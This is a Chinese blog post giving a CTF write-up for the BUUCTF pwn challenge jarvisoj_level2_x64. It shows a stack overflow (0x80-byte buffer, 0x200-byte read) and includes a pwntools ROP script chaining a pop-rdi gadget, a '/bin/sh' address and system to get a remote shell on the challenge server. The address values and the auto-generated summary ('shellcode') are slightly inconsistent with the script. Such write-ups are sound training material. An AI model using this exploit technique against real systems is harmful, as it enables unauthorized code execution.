[BUUCTF]PWN——jarvisoj_level2_x64

博客内容涉及了对64位程序jarvisoj_level2_x64的逆向分析,通过IDA查看,发现存在溢出漏洞。攻击者可以通过构造特定payload,利用系统地址0x40063E,shell地址0x600A90和rdi地址0x4006B3,触发溢出并执行自定义shellcode。最终,通过远程连接到服务器node3.buuoj.cn的29055端口,发送payload并启动交互式会话来利用这个漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

jarvisoj_level2_x64

例行检查 ,64位,开启NX保护,
在这里插入图片描述
运行一下
在这里插入图片描述
用IDA打开。
在这里插入图片描述
systemaddr=0x40063e
在这里插入图片描述

shalladdr=0x400A90

查看主函数,buf的长度为0x80,读取的长度为0x200,可以造成溢出漏洞。
在这里插入图片描述
rdiaddr= 0x4006b3

在这里插入图片描述

from pwn import *

context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node3.buuoj.cn',29055)

systemaddr=0x40063E
shelladdr=0x600a90
rdiaddr=0x4006b3

payload= 'a'*(0x80+8)+p64(rdiaddr)+p64(shelladdr)+p64(systemaddr)

p.sendline(payload)
p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值